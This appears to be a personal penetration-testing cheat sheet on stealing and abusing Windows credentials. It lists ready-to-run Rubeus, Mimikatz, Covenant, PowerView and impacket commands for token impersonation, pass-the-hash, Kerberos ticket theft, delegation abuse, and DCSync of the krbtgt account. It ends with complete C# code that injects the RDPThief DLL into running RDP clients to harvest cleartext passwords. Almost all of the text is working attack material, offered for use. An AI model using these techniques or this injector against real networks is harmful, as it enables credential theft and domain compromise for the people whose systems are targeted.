xct's notes
Search…
⌃K

Getting & Using Credentials

Token Impersonation

Covenant

ImpersonateUser <user>
ImpersonateProcess <pid>
RevToSelf

Metasploit

load incognito
list_tokens -u
impersonate_token <user>
rev2self

Resources

Creating Tokens

Covenant

MakeToken <user> <domain> <password>

Overpass-the-Hash

Create ticket for user:
Rubeus triage
Rubeus asktgt /user:<user> /rc4:<user ntlm hash>
Get the base64 ticket from Rubeus output and clean it up. You can only have one TGT per logon session so the correct way is to create *sacrificial* logon session and apply the ticket there:
MakeToken <user> <domain> <anything>
Rubeus triage
Rubeus ptt /ticket:<ticket>
Rubeus triage
RevToSelf
The same can be done with impacket:
getTGT.py <domain>/<user> -hashes :<hash>
getTGT.py <domain>/<user> -aesKey:<key>
getTGT.py <domain>/<user>:'password'

Process Injection

There is a custom Covenant task that allows to inject shellcode into a process. By typing Inject a popup will appear where you paste the shellcode.
Donut can be used to generate shellcode from .NET assemblies.

Pass-The-Hash

Mimikatz

sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm hash> /run:powershell
When running mstsc.exe /restrictedadmin this could give us RDP access to other boxes without knowing the clear text cred (but passing the hash with xfreerdp works too).

Netonly

A logon session can only accommodate one TGT at a time, therefore its sometimes required to create another session before applying a TGT to it.
Rubeus triage
Rubeus createnetonly /program:c:\windows\system32\cmd.exe
Rubeus triage
Rubeus ptt /luid:<luid> /ticket:<ticket>
After applying the ticket to the process we can impersonate it e.g. in Covenant Impersonate Process <pid>.

Unconstrained Delegation

Unrestricted access to services on behalf of a user. Find with:
Get-DomainComputer -Unconstrained -Properties DnsHostName
List & dump ticket:
Rubeus triage
Rubeus dump /luid:<>
Since we can only have 1 ticket per logon session spawn a new process first and note luid:
Rubeus createnetonly /program:C:\Windows\System32\cmd.exe
...
[+] ProcessID : 3256
[+] LUID : 0x584fe68
Then apply the ticket:
Rubeus ptt /luid:0x584fe68 /ticket:<>
Finally impersonate the process with ImpersonateProcess 3256 . Note that this will not change the output of whoami.
We can also use mimikatz:
privilege::debug
sekurlsa::tickets /export
kerberos::ptt ticket.kirbi
exit
Ticket is now applied and we can connect to the target (e.g. PsExec).

PrinterBug with Unconstrained Delegation

Monitor tickets with Rubeus:
Rubeus monitor /interval:5 /filteruser:dc$
SpoolSample.exe dc$ <server with unconstrained delegation we have a shell on>
After getting the TGT with Rubeus we can ptt and DCSync:
Rubeus ptt /ticket:...
mimikatz # lsadump::dcsync /domain:... /user:<domain>\krbtgt
This can even be used across domains in a forest environment!

Constrained Delegation

Restricts the services you can access on behalf of a user to a subset. Find machines that have it:
PowerShell Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo
You always want to check Bloodhound too - often the delegation is only for a single service type like "time", so we have to take that into account when generating tickets with Rubeus s4u.
Dump ticket:
Rubeus dump /service:krbtgt
Generate ticket:
Rubeus s4u /impersonateuser:<user> /msdsspn:cifs/<server>.<domain> /ticket:<ticket>
We can then apply it like on unconstrained delegation.
It might not always be the case that we find delegation for a useful service, in this case its possible to swap out the original service with more useful ones:
Rubeus.exe s4u /user:<machine$> /rc4:<hash> /impersonateuser:administrator /msdsspn:time/srv.domain.local /altservice:cifs,host,rpcss,http /ptt

Service types:

  • cifs - filesystem access
  • http - winrm
In case we have a cleartext password, but not the rc4 hash we can use Rubeus to generate it and create a TGT:
Rubeushash /password:secret
Rubeus asktgt /user:<user> /domain:<domain> /rc4:<hash>

Resource-Based Constrained Delegation

Even if this does not show in BloodHound, if we have AllExentedRights over a machine, we can execute the command. Adding a new domain computer is not always needed (in case we already have control over one, e.g. used mimikatz to obtain a machine account hash)
We can use PowerMad to add a new domain computer:
New-MachineAccount -MachineAccount <new-computername> -Password $(ConvertTo-SecureString 'secret' -AsPlainText -Force)
Get-DomainComputer -Identity <new-computername>
Set "msds-allowedtoactonbehalfofotheridentity" on a computer we have GenericWrite for so it allows our newly generated computerobject.
$sid = Get-DomainComputer -Identity <new-computername> -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
Get-DomainComputer -Identity <victim-computername>| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'= $SDBytes}
Create ticket:
.\Rubeus.exe s4u /user:<new-computername> /rc4:... /impersonateuser:administrator /msdsspn:CIFS/<victim-computername> /ptt

Net Use

runas /user:administrator /savecred "cmd.exe /k whoami"
net use z: \\<ip>\c$ /user:<username> <password>

Steal RPD Creds

RDPThief allows to get clear text credentials from newly established RDP connections (via hooking). It comes in form of a DLL and needs to be injected into the mscrt.exe process:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace RDPThief
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
String dllName = "RdpThief.dll";
while (true) {
Process[] mstscProc = Process.GetProcessesByName("mstsc");
if (mstscProc.Length > 0) {
for (int i = 0; i < mstscProc.Length; i++) {
int pid = mstscProc[i].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
Thread.Sleep(1000);
}
}
}
}